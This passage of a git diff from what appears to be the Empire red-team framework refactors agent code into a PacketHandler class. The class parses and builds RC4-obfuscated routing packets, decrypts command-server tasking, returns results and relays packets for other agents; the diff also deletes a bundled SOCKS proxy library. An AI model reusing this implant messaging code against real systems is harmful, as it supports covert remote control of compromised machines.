- tmp = b''.join(out)
- return tmp
-
-def parse_routing_packet(stagingKey, data):
- """
- Decodes the rc4 "routing packet" and parses raw agent data into:
-
- {sessionID : (language, meta, additional, [encData]), ...}
-
- Routing packet format:
-
- +---------+-------------------+--------------------------+
- | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ...
- +---------+-------------------+--------------------------+
- | 4 | 16 | RC4 length |
- +---------+-------------------+--------------------------+
-
- RC4s(RoutingData):
- +-----------+------+------+-------+--------+
- | SessionID | Lang | Meta | Extra | Length |
- +-----------+------+------+-------+--------+
- | 8 | 1 | 1 | 2 | 4 |
- +-----------+------+------+-------+--------+
-
- """
-
- if data:
- results = {}
- offset = 0
-
- # ensure we have at least the 20 bytes for a routing packet
- if len(data) >= 20:
-
- while True:
-
- if len(data) - offset < 20:
- break
-
- RC4IV = data[0+offset:4+offset]
- RC4data = data[4+offset:20+offset]
- routingPacket = rc4(RC4IV+stagingKey, RC4data)
-
- sessionID = routingPacket[0:8]
-
- # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long
- (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:])
-
- if length < 0:
- encData = None
- else:
- encData = data[(20+offset):(20+offset+length)]
-
- results[sessionID] = (LANGUAGE_IDS.get(language, 'NONE'), META_IDS.get(meta, 'NONE'), ADDITIONAL_IDS.get(additional, 'NONE'), encData)
-
- # check if we're at the end of the packet processing
- remainingData = data[20+offset+length:]
- if not remainingData or remainingData == '':
- break
-
- offset += 20 + length
- return results
+
+class PacketHandler:
+ def __init__(self, agent, staging_key, session_id, key=None):
+ self.agent = agent
+ self.key = key
+ self.staging_key = staging_key
+ self.session_id = session_id
+ self.missedCheckins = 0
+
+ self.language_list = {
+ 'NONE': 0,
+ 'POWERSHELL': 1,
+ 'PYTHON': 2
+ }
+ self.language_ids = {ID: name for name, ID in self.language_list.items()}
+
+ self.meta = {
+ 'NONE': 0,
+ 'STAGING_REQUEST': 1,
+ 'STAGING_RESPONSE': 2,
+ 'TASKING_REQUEST': 3,
+ 'RESULT_POST': 4,
+ 'SERVER_RESPONSE': 5
+ }
+ self.meta_ids = {ID: name for name, ID in self.meta.items()}
+
+ self.additional = {}
+ self.additional_ids = {ID: name for name, ID in self.additional.items()}
+
+ def rc4(self, key, data):
+ """
+ RC4 encrypt/decrypt the given data input with the specified key.
+
+ From: http://stackoverflow.com/questions/29607753/how-to-decrypt-a-file-that-encrypted-with-rc4-using-python
+ """
+ S, j, out = list(range(256)), 0, []
+ # This might break python 2.7
+ key = bytearray(key)
+ # KSA Phase
+ for i in range(256):
+ j = (j + S[i] + key[i % len(key)]) % 256
+ S[i], S[j] = S[j], S[i]
+ # this might also break python 2.7
+ # data = bytearray(data)
+ # PRGA Phase
+ i = j = 0
+
+ for char in data:
+ i = (i + 1) % 256
+ j = (j + S[i]) % 256
+ S[i], S[j] = S[j], S[i]
+ if sys.version[0] == "2":
+ char = ord(char)
+ out.append(chr(char ^ S[(S[i] + S[j]) % 256]).encode('latin-1'))
+ # out = str(out)
+ tmp = b''.join(out)
+ return tmp
+
+ def parse_routing_packet(self, staging_key, data):
+ """
+ Decodes the rc4 "routing packet" and parses raw agent data into:
+
+ {sessionID : (language, meta, additional, [encData]), ...}
+
+ Routing packet format:
+
+ +---------+-------------------+--------------------------+
+ | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ...
+ +---------+-------------------+--------------------------+
+ | 4 | 16 | RC4 length |
+ +---------+-------------------+--------------------------+
+
+ RC4s(RoutingData):
+ +-----------+------+------+-------+--------+
+ | SessionID | Lang | Meta | Extra | Length |
+ +-----------+------+------+-------+--------+
+ | 8 | 1 | 1 | 2 | 4 |
+ +-----------+------+------+-------+--------+
+
+ """
+
+ if data:
+ results = {}
+ offset = 0
+
+ # ensure we have at least the 20 bytes for a routing packet
+ if len(data) >= 20:
+
+ while True:
+
+ if len(data) - offset < 20:
+ break
+
+ RC4IV = data[0 + offset:4 + offset]
+ RC4data = data[4 + offset:20 + offset]
+ routingPacket = self.rc4(RC4IV + staging_key, RC4data)
+
+ session_id = routingPacket[0:8]
+
+ # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long
+ (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:])
+
+ if length < 0:
+ encData = None
+ else:
+ encData = data[(20 + offset):(20 + offset + length)]
+
+ results[session_id] = (self.language_ids.get(language, 'NONE'), self.meta_ids.get(meta, 'NONE'),
+ self.additional_ids.get(additional, 'NONE'), encData)
+
+ # check if we're at the end of the packet processing
+ remainingData = data[20 + offset + length:]
+ if not remainingData or remainingData == '':
+ break
+
+ offset += 20 + length
+ return results
+
+ else:
+ # print("[*] parse_agent_data() data length incorrect: %s" % (len(data)))
+ return None
else:
- # print("[*] parse_agent_data() data length incorrect: %s" % (len(data)))
+ # print("[*] parse_agent_data() data is None")
return None
- else:
- # print("[*] parse_agent_data() data is None")
- return None
-
-
-def build_routing_packet(stagingKey, sessionID, meta=0, additional=0, encData=b''):
- """
- Takes the specified parameters for an RC4 "routing packet" and builds/returns
- an HMAC'ed RC4 "routing packet".
-
- packet format:
-
- Routing Packet:
- +---------+-------------------+--------------------------+
- | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ...
- +---------+-------------------+--------------------------+
- | 4 | 16 | RC4 length |
- +---------+-------------------+--------------------------+
-
- RC4s(RoutingData):
- +-----------+------+------+-------+--------+
- | SessionID | Lang | Meta | Extra | Length |
- +-----------+------+------+-------+--------+
- | 8 | 1 | 1 | 2 | 4 |
- +-----------+------+------+-------+--------+
-
- """
-
- # binary pack all of the passed config values as unsigned numbers
- # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long
- data = sessionID + struct.pack("=BBHL", 2, meta, additional, len(encData))
- RC4IV = os.urandom(4)
- key = RC4IV + stagingKey
- rc4EncData = rc4(key, data)
- packet = RC4IV + rc4EncData + encData
- return packet
\ No newline at end of file
+ def build_routing_packet(self, staging_key, session_id, meta=0, additional=0, enc_data=b''):
+ """
+ Takes the specified parameters for an RC4 "routing packet" and builds/returns
+ an HMAC'ed RC4 "routing packet".
+
+ packet format:
+
+ Routing Packet:
+ +---------+-------------------+--------------------------+
+ | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ...
+ +---------+-------------------+--------------------------+
+ | 4 | 16 | RC4 length |
+ +---------+-------------------+--------------------------+
+
+ RC4s(RoutingData):
+ +-----------+------+------+-------+--------+
+ | SessionID | Lang | Meta | Extra | Length |
+ +-----------+------+------+-------+--------+
+ | 8 | 1 | 1 | 2 | 4 |
+ +-----------+------+------+-------+--------+
+
+ """
+
+ # binary pack all the passed config values as unsigned numbers
+ # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long
+ data = session_id + struct.pack("=BBHL", 2, meta, additional, len(enc_data))
+ RC4IV = os.urandom(4)
+ key = RC4IV + staging_key
+ rc4EncData = self.rc4(key, data)
+ packet = RC4IV + rc4EncData + enc_data
+ return packet
+
+ def decode_routing_packet(self, data):
+ """
+ Parse ALL routing packets and only process the ones applicable
+ to this agent.
+ """
+ # returns {sessionID : (language, meta, additional, [encData]), ...}
+ packets = self.parse_routing_packet(self.staging_key, data)
+ if packets is None:
+ return
+ for agentID, packet in packets.items():
+ if agentID == self.session_id:
+ (language, meta, additional, encData) = packet
+ # if meta == 'SERVER_RESPONSE':
+ self.process_tasking(encData)
+ else:
+ smb_server_queue.Enqueue(base64.b64encode(data).decode('UTF-8'))
+
+ def build_response_packet(self, tasking_id, packet_data, result_id=0):
+ """
+ Build a task packet for an agent.
+
+ [2 bytes] - type
+ [2 bytes] - total # of packets
+ [2 bytes] - packet #
+ [2 bytes] - task/result ID
+ [4 bytes] - length
+ [X...] - result data
+
+ +------+--------------------+----------+---------+--------+-----------+
+ | Type | total # of packets | packet # | task ID | Length | task data |
+ +------+--------------------+--------------------+--------+-----------+
+ | 2 | 2 | 2 | 2 | 4 | |
+ +------+--------------------+----------+---------+--------+-----------+
+ """
+ packetType = struct.pack("=H", tasking_id)
+ totalPacket = struct.pack("=H", 1)
+ packetNum = struct.pack("=H", 1)
+ result_id = struct.pack("=H", result_id)
+
+ if packet_data:
+ if isinstance(packet_data, str):
+ packet_data = base64.b64encode(packet_data.encode("utf-8", "ignore"))
+ else:
+ packet_data = base64.b64encode(
+ packet_data.decode("utf-8").encode("utf-8", "ignore")
+ )
+ if len(packet_data) % 4:
+ packet_data += "=" * (4 - len(packet_data) % 4)
+
+ length = struct.pack("=L", len(packet_data))
+ return packetType + totalPacket + packetNum + result_id + length + packet_data
+ else:
+ length = struct.pack("=L", 0)
+ return packetType + totalPacket + packetNum + result_id + length
+
+ def parse_task_packet(self, packet, offset=0):
+ """
+ Parse a result packet-
+
+ [2 bytes] - type
+ [2 bytes] - total # of packets
+ [2 bytes] - packet #
+ [2 bytes] - task/result ID
+ [4 bytes] - length
+ [X...] - result data
+
+ +------+--------------------+----------+---------+--------+-----------+
+ | Type | total # of packets | packet # | task ID | Length | task data |
+ +------+--------------------+--------------------+--------+-----------+
+ | 2 | 2 | 2 | 2 | 4 | |
+ +------+--------------------+----------+---------+--------+-----------+
+
+ Returns a tuple with (responseName, length, data, remainingData)
+
+ Returns a tuple with (responseName, totalPackets, packetNum, resultID, length, data, remainingData)
+ """
+ try:
+ packetType = struct.unpack("=H", packet[0 + offset : 2 + offset])[0]
+ totalPacket = struct.unpack("=H", packet[2 + offset : 4 + offset])[0]
+ packetNum = struct.unpack("=H", packet[4 + offset : 6 + offset])[0]
+ resultID = struct.unpack("=H", packet[6 + offset : 8 + offset])[0]
+ length = struct.unpack("=L", packet[8 + offset : 12 + offset])[0]
+ try:
+ packetData = packet.decode("UTF-8")[12 + offset : 12 + offset + length]
+ except:
+ packetData = packet[12 + offset : 12 + offset + length].decode("latin-1")
+
+ try:
+ remainingData = packet.decode("UTF-8")[12 + offset + length :]
+ except:
+ remainingData = packet[12 + offset + length :].decode("latin-1")
+
+ return (
+ packetType,
+ totalPacket,
+ packetNum,
+ resultID,
+ length,
+ packetData,
+ remainingData,
+ )
+ except Exception as e:
+ print("parse_task_packet exception:", e)
+ return (None, None, None, None, None, None, None)
+
+ def process_tasking(self, data):
+ # processes an encrypted data packet
+ # -decrypts/verifies the response to get
+ # -extracts the packets and processes each
+ try:
+ # aes_decrypt_and_verify is in stager.py
+ tasking = aes_decrypt_and_verify(self.key, data).encode("UTF-8")
+ (
+ packetType,
+ totalPacket,
+ packetNum,
+ resultID,
+ length,
+ data,
+ remainingData,
+ ) = self.parse_task_packet(tasking)
+
+ # execute/process the packets and get any response
+ resultPackets = ""
+ result = self.agent.process_packet(packetType, data, resultID)
+
+ if result:
+ resultPackets += result
+
+ packetOffset = 12 + length
+ while remainingData and remainingData != "":
+ (
+ packetType,
+ totalPacket,
+ packetNum,
+ resultID,
+ length,
+ data,
+ remainingData,
+ ) = self.parse_task_packet(tasking, offset=packetOffset)
+ result = self.agent.process_packet(packetType, data, resultID)
+ if result:
+ resultPackets += result
+
+ packetOffset += 12 + length
+
+ # send_message() is patched in from the listener module
+ self.send_message(resultPackets)
+
+ except Exception as e:
+ print(e)
+ pass
+
+ def process_job_tasking(self, result):
+ # process job data packets
+ # - returns to the C2
+ # execute/process the packets and get any response
+ try:
+ resultPackets = b""
+ if result:
+ resultPackets += result
+ # send packets
+ self.send_message(resultPackets)
+ except Exception as e:
+ print("processJobTasking exception:", e)
+ pass
\ No newline at end of file
diff --git a/empire/server/data/agent/stagers/common/sockschain.py b/empire/server/data/agent/stagers/common/sockschain.py
deleted file mode 100644
index ea31e3ea8..000000000
--- a/empire/server/data/agent/stagers/common/sockschain.py
+++ /dev/null
@@ -1,1424 +0,0 @@
-#!/usr/bin/python
-"""SocksiPy - Python SOCKS module.
-Version 2.1
-
-Copyright 2011-2019 Bjarni R. Einarsson. All rights reserved.
-Copyright 2006 Dan-Haim. All rights reserved.
-
-Redistribution and use in source and binary forms, with or without modification,
-are permitted provided that the following conditions are met:
-1. Redistributions of source code must retain the above copyright notice, this
- list of conditions and the following disclaimer.
-2. Redistributions in binary form must reproduce the above copyright notice,
- this list of conditions and the following disclaimer in the documentation
- and/or other materials provided with the distribution.
-3. Neither the name of Dan Haim nor the names of his contributors may be used
- to endorse or promote products derived from this software without specific
- prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED
-WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
-EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
-INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA
-OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
-LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
-OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE.
-
-
-This module provides a standard socket-like interface for Python
-for tunneling connections through SOCKS proxies.
-
-"""
-
-"""
-
-Refactored to allow proxy chaining and use as a command-line netcat-like
-tool by Bjarni R. Einarsson (http://bre.klaki.net/) for use with PageKite
-(http://pagekite.net/).
-
-Minor modifications made by Christopher Gilbert (http://motomastyle.com/)
-for use in PyLoris (http://pyloris.sourceforge.net/)
-
-Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/)
-mainly to merge bug fixes found in Sourceforge
-
-"""
-
-import base64
-import errno
-import os
-import select
-import socket
-import struct
-import sys
-import threading
-
-PY2 = (2, 0) < sys.version_info < (3, 0)
-if PY2:
- b = lambda s: s
-else:
- b = lambda s: s.encode("latin-1")
-
-DEBUG = False
-DEFAULT_TIMEOUT = 30
-# def DEBUG(foo): print foo
-
-
-##[ SSL compatibility code ]##################################################
-
-import hashlib
-
-
-def sha1hex(data):
- hl = hashlib.sha1()
- hl.update(data)
- return hl.hexdigest().lower()
-
-
-def SSL_CheckName(commonName, digest, valid_names):
- try:
- digest = str(digest, "iso-8859-1")
- except TypeError:
- pass
- digest = digest.replace(":", "")
- pairs = [(commonName, "%s/%s" % (commonName, digest))]
- valid = 0
-
- if commonName.startswith("*."):
- commonName = commonName[1:].lower()
- for name in valid_names:
- name = name.split("/")[0].lower()
- if ("." + name).endswith(commonName):
- pairs.append((name, "%s/%s" % (name, digest)))
-
- for commonName, cNameDigest in pairs:
- if (commonName in valid_names) or (cNameDigest in valid_names):
- valid += 1
-
- if DEBUG:
- DEBUG(("*** Cert score: %s (%s ?= %s)") % (valid, pairs, valid_names))
- return valid
-
-
-HAVE_SSL = False
-HAVE_PYOPENSSL = False
-TLS_CA_CERTS = "/etc/ssl/certs/ca-certificates.crt"
-try:
- if sys.version_info >= (3,):
- raise ImportError("pyOpenSSL disabled (Python 3)")
- if "--nopyopenssl" in sys.argv or "--nossl" in sys.argv:
- raise ImportError("pyOpenSSL disabled")
-
- from OpenSSL import SSL
-
- HAVE_SSL = HAVE_PYOPENSSL = True
-
- def SSL_Connect(
- ctx, sock, server_side=False, accepted=False, connected=False, verify_names=None
- ):
- if DEBUG:
- DEBUG("*** TLS is provided by pyOpenSSL")
- if verify_names:
-
- def vcb(conn, x509, errno, depth, rc):
- if errno != 0:
- return False
- if depth != 0:
- return True
- return (
- SSL_CheckName(
- x509.get_subject().commonName.lower(),
- x509.digest("sha1"),
- verify_names,
- )
- > 0
- )
-
- ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, vcb)
- else:
-
- def vcb(conn, x509, errno, depth, rc):
- return errno == 0
-
- ctx.set_verify(SSL.VERIFY_NONE, vcb)
-
- nsock = SSL.Connection(ctx, sock)
- if accepted:
- nsock.set_accept_state()
- if connected:
- nsock.set_connect_state()
- if verify_names:
- nsock.do_handshake()
-
- return nsock
-
-except ImportError:
- try:
- if "--nossl" in sys.argv:
- raise ImportError("SSL disabled")
-
- import ssl
-
- HAVE_SSL = True
-
- class SSL(object):
- TLSv1_METHOD = ssl.PROTOCOL_TLSv1
- WantReadError = ssl.SSLError
-
- class Error(Exception):
- pass
-
- class SysCallError(Exception):
- pass
-
- class WantWriteError(Exception):
- pass
-
- class ZeroReturnError(Exception):
- pass
-
- class Context(object):
- def __init__(self, method):
- self.method = method
- self.privatekey_file = None
- self.certchain_file = None
- self.ca_certs = None
- self.ciphers = None
- self.options = 0
-
- def use_privatekey_file(self, fn):
- self.privatekey_file = fn
-
- def use_certificate_chain_file(self, fn):
- self.certchain_file = fn
-
- def set_cipher_list(self, ciphers):
- self.ciphers = ciphers
-
- def load_verify_locations(self, pemfile, capath=None):
- self.ca_certs = pemfile
-
- def set_options(self, options): # FIXME: this does nothing
- self.options = options
-
- if hasattr(ssl, "PROTOCOL_SSLv23"):
- SSL.SSLv23_METHOD = ssl.PROTOCOL_SSLv23
- if hasattr(ssl, "OP_NO_SSLv2"):
- SSL.OP_NO_SSLv2 = ssl.OP_NO_SSLv2
- if hasattr(ssl, "OP_NO_SSLv3"):
- SSL.OP_NO_SSLv3 = ssl.OP_NO_SSLv3
- if hasattr(ssl, "OP_NO_COMPRESSION"):
- SSL.OP_NO_COMPRESSION = ssl.OP_NO_COMPRESSION
- if hasattr(ssl, "PROTOCOL_TLS"):
- SSL.TLS_METHOD = ssl.PROTOCOL_TLS
-
- def SSL_CheckPeerName(fd, names):
- cert = fd.getpeercert()
- certhash = sha1hex(fd.getpeercert(binary_form=True))
- if not cert:
- return None
- valid = 0
- for field in cert["subject"]:
- if field[0][0].lower() == "commonname":
- valid += SSL_CheckName(field[0][1].lower(), certhash, names)
-
- if "subjectAltName" in cert:
- for field in cert["subjectAltName"]:
- if field[0].lower() == "dns":
- name = field[1].lower()
- valid += SSL_CheckName(name, certhash, names)
-
- return valid > 0
-
- def SSL_Connect(
- ctx,
- sock,
- server_side=False,
- accepted=False,
- connected=False,
- verify_names=None,
- ):
- if DEBUG:
- DEBUG("*** TLS is provided by native Python ssl")
- reqs = verify_names and ssl.CERT_REQUIRED or ssl.CERT_NONE
- try:
- fd = ssl.wrap_socket(
- sock,
- keyfile=ctx.privatekey_file,
- certfile=ctx.certchain_file,
- cert_reqs=reqs,
- ca_certs=ctx.ca_certs,
- do_handshake_on_connect=False,
- ssl_version=ctx.method,
- ciphers=ctx.ciphers,
- server_side=server_side,
- )
- except:
- fd = ssl.wrap_socket(
- sock,
- keyfile=ctx.privatekey_file,
- certfile=ctx.certchain_file,
- cert_reqs=reqs,
- ca_certs=ctx.ca_certs,
- do_handshake_on_connect=False,
- ssl_version=ctx.method,
- server_side=server_side,
- )
-
- if verify_names:
- fd.do_handshake()
- if not SSL_CheckPeerName(fd, verify_names):
- raise SSL.Error(("Cert not in %s (%s)") % (verify_names, reqs))
- return fd
-
- except ImportError:
-
- class SSL(object):
- # Mock to let our try/except clauses below not fail.
- class Error(Exception):
- pass
-
- class SysCallError(Exception):
- pass
-
- class WantReadError(Exception):
- pass
-
- class WantWriteError(Exception):
- pass
-
- class ZeroReturnError(Exception):
- pass
-
-
-def DisableSSLCompression():
- # Why? Disabling compression in OpenSSL may reduce memory usage *lots*.
-
- # If there is a sslzliboff module available, prefer that.
- # See https://github.com/hausen/SSLZlibOff for working code.
- try:
- import sslzliboff
-
- sslzliboff.disableZlib()
- return
- except:
- pass
-
- # Otherwise, fall through to the following hack.
- # Source:
- # http://journal.paul.querna.org/articles/2011/04/05/openssl-memory-use/
- try:
- import ctypes
- import glob
-
- openssl = ctypes.CDLL(None, ctypes.RTLD_GLOBAL)
- try:
- f = openssl.SSL_COMP_get_compression_methods
- except AttributeError:
- ssllib = sorted(glob.glob("/usr/lib/libssl.so.*"))[0]
- openssl = ctypes.CDLL(ssllib, ctypes.RTLD_GLOBAL)
-
- openssl.SSL_COMP_get_compression_methods.restype = ctypes.c_void_p
- openssl.sk_zero.argtypes = [ctypes.c_void_p]
- openssl.sk_zero(openssl.SSL_COMP_get_compression_methods())
- except Exception:
- if DEBUG:
- DEBUG("disableSSLCompression: Failed")
-
-
-def MakeBestEffortSSLContext(weak=False, legacy=False, anonymous=False, ciphers=None):
- ssl_version, ssl_options = SSL.TLSv1_METHOD, 0
- if hasattr(SSL, "SSLv23_METHOD") and (weak or legacy):
- ssl_version = SSL.SSLv23_METHOD
-
- if hasattr(SSL, "OP_NO_SSLv2") and not weak:
- ssl_version = SSL.SSLv23_METHOD
- ssl_options |= SSL.OP_NO_SSLv2
- if hasattr(SSL, "OP_NO_SSLv3") and not (weak or legacy):
- ssl_version = SSL.SSLv23_METHOD
- ssl_options |= SSL.OP_NO_SSLv3
- if hasattr(SSL, "TLS_METHOD") and not (weak or legacy):
- ssl_version = SSL.TLS_METHOD
-
- if hasattr(SSL, "OP_NO_COMPRESSION"):
- ssl_options |= SSL.OP_NO_COMPRESSION
-
- if not ciphers:
- if anonymous:
- # Insecure and use anon ciphers - this is just camoflage
- ciphers = "aNULL"
- else:
- ciphers = "HIGH:-aNULL:-eNULL:-PSK:RC4-SHA:RC4-MD5"
-
- if DEBUG:
- DEBUG(
- "*** Context: ssl_version=%x, ssl_options=%x, ciphers=%s"
- % (ssl_version, ssl_options, ciphers)
- )
- ctx = SSL.Context(ssl_version)
- ctx.set_options(ssl_options)
- ctx.set_cipher_list(ciphers)
- return ctx
-
-
-##[ SocksiPy itself ]#########################################################
-
-PROXY_TYPE_DEFAULT = -1
-PROXY_TYPE_NONE = 0
-PROXY_TYPE_SOCKS4 = 1
-PROXY_TYPE_SOCKS5 = 2
-PROXY_TYPE_HTTP = 3
-PROXY_TYPE_SSL = 4
-PROXY_TYPE_SSL_WEAK = 5
-PROXY_TYPE_SSL_ANON = 6
-PROXY_TYPE_TOR = 7
-PROXY_TYPE_HTTPS = 8
-PROXY_TYPE_HTTP_CONNECT = 9
-PROXY_TYPE_HTTPS_CONNECT = 10
-
-PROXY_SSL_TYPES = (
- PROXY_TYPE_SSL,
- PROXY_TYPE_SSL_WEAK,
- PROXY_TYPE_SSL_ANON,
- PROXY_TYPE_HTTPS,
- PROXY_TYPE_HTTPS_CONNECT,
-)
-PROXY_HTTP_TYPES = (PROXY_TYPE_HTTP, PROXY_TYPE_HTTPS)
-PROXY_HTTPC_TYPES = (PROXY_TYPE_HTTP_CONNECT, PROXY_TYPE_HTTPS_CONNECT)
-PROXY_SOCKS5_TYPES = (PROXY_TYPE_SOCKS5, PROXY_TYPE_TOR)
-PROXY_DEFAULTS = {
- PROXY_TYPE_NONE: 0,
- PROXY_TYPE_DEFAULT: 0,
- PROXY_TYPE_HTTP: 8080,
- PROXY_TYPE_HTTP_CONNECT: 8080,
- PROXY_TYPE_SOCKS4: 1080,
- PROXY_TYPE_SOCKS5: 1080,
- PROXY_TYPE_TOR: 9050,
-}
-PROXY_TYPES = {
- "none": PROXY_TYPE_NONE,
- "default": PROXY_TYPE_DEFAULT,
- "defaults": PROXY_TYPE_DEFAULT,
- "http": PROXY_TYPE_HTTP,
- "httpc": PROXY_TYPE_HTTP_CONNECT,
- "socks": PROXY_TYPE_SOCKS5,
- "socks4": PROXY_TYPE_SOCKS4,
- "socks4a": PROXY_TYPE_SOCKS4,
- "socks5": PROXY_TYPE_SOCKS5,
- "tor": PROXY_TYPE_TOR,
-}
-
-if HAVE_SSL:
- PROXY_DEFAULTS.update(
- {
- PROXY_TYPE_HTTPS: 443,
- PROXY_TYPE_HTTPS_CONNECT: 443,
- PROXY_TYPE_SSL: 443,
- PROXY_TYPE_SSL_WEAK: 443,
- PROXY_TYPE_SSL_ANON: 443,
- }
- )
- PROXY_TYPES.update(
- {
- "https": PROXY_TYPE_HTTPS,
- "httpcs": PROXY_TYPE_HTTPS_CONNECT,
- "ssl": PROXY_TYPE_SSL,
- "ssl-anon": PROXY_TYPE_SSL_ANON,
- "ssl-weak": PROXY_TYPE_SSL_WEAK,
- }
- )
-
-P_TYPE = 0
-P_HOST = 1
-P_PORT = 2
-P_RDNS = 3
-P_USER = 4
-P_PASS = P_CACERTS = 5
-P_CERTS = 6
-
-DEFAULT_ROUTE = "*"
-_proxyroutes = {}
-_orgsocket = socket.socket
-_orgcreateconn = getattr(socket, "create_connection", None)
-_thread_locals = threading.local()
-
-
-class ProxyError(Exception):
- pass
-
-
-class GeneralProxyError(ProxyError):
- pass
-
-
-class Socks5AuthError(ProxyError):
- pass
-
-
-class Socks5Error(ProxyError):
- pass
-
-
-class Socks4Error(ProxyError):
- pass
-
-
-class HTTPError(ProxyError):
- pass
-
-
-_generalerrors = (
- "success",
- "invalid data",
- "not connected",
- "not available",
- "bad proxy type",
- "bad input",
-)
-
-_socks5errors = (
- "succeeded",
- "general SOCKS server failure",
- "connection not allowed by ruleset",
- "Network unreachable",
- "Host unreachable",
- "Connection refused",
- "TTL expired",
- "Command not supported",
- "Address type not supported",
- "Unknown error",
-)
-
-_socks5autherrors = (
- "succeeded",
- "authentication is required",
- "all offered authentication methods were rejected",
- "unknown username or invalid password",
- "unknown error",
-)
-
-_socks4errors = (
- "request granted",
- "request rejected or failed",
- "request rejected because SOCKS server cannot connect to identd on the client",
- "request rejected because the client program and identd report different user-ids",
- "unknown error",
-)
-
-
-def parseproxy(arg):
- # This silly function will do a quick-and-dirty parse of our argument
- # into a proxy specification array. It lets people omit stuff.
- if "!" in arg:
- # Prefer ! to :, because it works with IPv6 addresses.
- args = arg.split("!")
- else:
- # This is a bit messier to accept common URL syntax
- if arg.endswith("/"):
- arg = arg[:-1]
- args = arg.replace("://", ":").replace("/:", ":").split(":")
- args[0] = PROXY_TYPES[args[0] or "http"]
-
- if (len(args) in (3, 4, 5)) and ("@" in args[2]):
- # Re-order http://user:pass@host:port/ => http:host:port:user:pass
- pwd, host = args[2].split("@")
- user = args[1]
- args[1:3] = [host]
- if len(args) == 2:
- args.append(PROXY_DEFAULTS[args[0]])
- if len(args) == 3:
- args.append(False)
- args.extend([user, pwd])
- elif (len(args) in (2, 3, 4)) and ("@" in args[1]):
- user, host = args[1].split("@")
- args[1] = host
- if len(args) == 2:
- args.append(PROXY_DEFAULTS[args[0]])
- if len(args) == 3:
- args.append(False)
- args.append(user)
-
- if len(args) == 2:
- args.append(PROXY_DEFAULTS[args[0]])
- if len(args) > 2:
- args[2] = int(args[2])
-
- if args[P_TYPE] in PROXY_SSL_TYPES:
- names = (args[P_HOST] or "").split(",")
- args[P_HOST] = names[0]
- while len(args) <= P_CERTS:
- args.append((len(args) == P_RDNS) and True or None)
- args[P_CERTS] = (len(names) > 1) and names[1:] or names
-
- return args
-
-
-def addproxy(
- dest="*",
- proxytype=None,
- addr=None,
- port=None,
- rdns=True,
- username=None,
- password=None,
- certnames=None,
-):
- global _proxyroutes
- route = _proxyroutes.get(dest.lower(), None)
- proxy = (proxytype, addr, port, rdns, username, password, certnames)
- if route is None:
- route = _proxyroutes.get(DEFAULT_ROUTE, [])[:]
- route.append(proxy)
- _proxyroutes[dest.lower()] = route
- if DEBUG:
- DEBUG("Routes are: %s" % (_proxyroutes,))
-
-
-def setproxy(dest, *args, **kwargs):
- global _proxyroutes
- dest = dest.lower()
- if args:
- _proxyroutes[dest] = []
- return addproxy(dest, *args, **kwargs)
- else:
- if dest in _proxyroutes:
- del _proxyroutes[dest.lower()]
-
-
-def setdefaultcertfile(path):
- global TLS_CA_CERTS
- TLS_CA_CERTS = path
-
-
-def setdefaultproxy(*args, **kwargs):
- """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password[, certnames]]]]])
- Sets a default proxy which all further socksocket objects will use,
- unless explicitly changed.
- """
- if args and args[P_TYPE] == PROXY_TYPE_DEFAULT:
- raise ValueError("Circular reference to default proxy.")
- return setproxy(DEFAULT_ROUTE, *args, **kwargs)
-
-
-def adddefaultproxy(*args, **kwargs):
- if args and args[P_TYPE] == PROXY_TYPE_DEFAULT:
- raise ValueError("Circular reference to default proxy.")
- return addproxy(DEFAULT_ROUTE, *args, **kwargs)
-
-
-def usesystemdefaults():
- import os
-
- no_proxy = ["localhost", "localhost.localdomain", "127.0.0.1"]
- no_proxy.extend(
- os.environ.get("NO_PROXY", os.environ.get("NO_PROXY", "")).split(",")
- )
- for host in no_proxy:
- setproxy(host, PROXY_TYPE_NONE)
-
- for var in ("ALL_PROXY", "HTTPS_PROXY", "http_proxy"):
- val = os.environ.get(var.lower(), os.environ.get(var, None))
- if val:
- setdefaultproxy(*parseproxy(val))
- os.environ[var] = ""
- return
-
-
-def sockcreateconn(*args, **kwargs):
- _thread_locals.create_conn = args[0]
- try:
- rv = _orgcreateconn(*args, **kwargs)
- return rv
- finally:
- del _thread_locals.create_conn
-
-
-class socksocket(socket.socket):
- """socksocket([family[, type[, proto]]]) -> socket object
- Open a SOCKS enabled socket. The parameters are the same as
- those of the standard socket init. In order for SOCKS to work,
- you must specify family=AF_INET, type=SOCK_STREAM and proto=0.
- """
-
- def __init__(
- self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, *args, **kwargs
- ):
- self.__family = family
- self.__type = type
- self.__proto = proto
- self.__args = args
- self.__kwargs = kwargs
- self.__sock = _orgsocket(
- family, self.__type, self.__proto, *self.__args, **self.__kwargs
- )
- self.__proxy = None
- self.__proxysockname = None
- self.__proxypeername = None
- self.__makefile_refs = 0
- self.__buffer = b""
- self.__negotiating = False
- self.__override = [
- "addproxy",
- "setproxy",
- "getproxysockname",
- "getproxypeername",
